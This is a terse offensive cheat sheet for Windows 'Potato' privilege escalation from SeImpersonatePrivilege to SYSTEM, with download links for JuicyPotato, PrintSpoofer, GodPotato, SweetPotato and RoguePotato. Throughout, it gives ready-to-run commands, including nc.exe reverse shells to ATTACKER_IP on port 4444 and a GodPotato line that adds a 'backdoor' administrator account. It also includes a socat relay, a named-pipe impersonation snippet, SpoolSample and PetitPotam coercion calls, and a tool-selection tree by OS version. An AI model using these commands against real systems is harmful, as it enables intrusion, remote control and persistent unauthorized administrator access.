Potato Attacks

whoami /priv

whoami /priv | findstr /i "impersonate assign"

ls /usr/share/windows-resources/juicy-potato/
# /usr/share/windows-resources/juicy-potato/JuicyPotato.exe

# JuicyPotato
https://github.com/ohpe/juicy-potato/releases

# PrintSpoofer
https://github.com/itm4n/PrintSpoofer/releases

# GodPotato
https://github.com/BeichenDream/GodPotato/releases

# SweetPotato
https://github.com/CCob/SweetPotato/releases

# RoguePotato
https://github.com/antonioCoco/RoguePotato/releases

wmic os get osarchitecture

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *

JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "-e cmd.exe ATTACKER_IP 4444" -t *

JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * -c {CLSID}

# Test common CLSIDs
# Full list: https://ohpe.it/juicy-potato/CLSID

PrintSpoofer.exe -i -c cmd

PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Version

GodPotato.exe -cmd "cmd /c whoami"

GodPotato.exe -cmd "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

GodPotato.exe -cmd "net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"

SweetPotato.exe -p C:\Windows\Temp\nc.exe -a "-e cmd.exe ATTACKER_IP 4444"

socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999

RoguePotato.exe -r ATTACKER_IP -e "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444" -l 9999

$pipe = New-Object System.IO.Pipes.NamedPipeServerStream("pwned", [System.IO.Pipes.PipeDirection]::InOut)
$pipe.WaitForConnection()
# Client connects → impersonate
$pipe.RunAsClient({ whoami })

# SpoolSample (print spooler)
SpoolSample.exe TARGET ATTACKER

# PetitPotam (EFS)
python3 PetitPotam.py ATTACKER TARGET

whoami /priv → SeImpersonatePrivilege enabled?
│
├─ Windows 10 < 1809 / Server 2016 → JuicyPotato
├─ Windows 10 1809+ / Server 2019  → PrintSpoofer or GodPotato
├─ .NET 2.0+ available             → GodPotato (most universal)
└─ Need external listener          → RoguePotato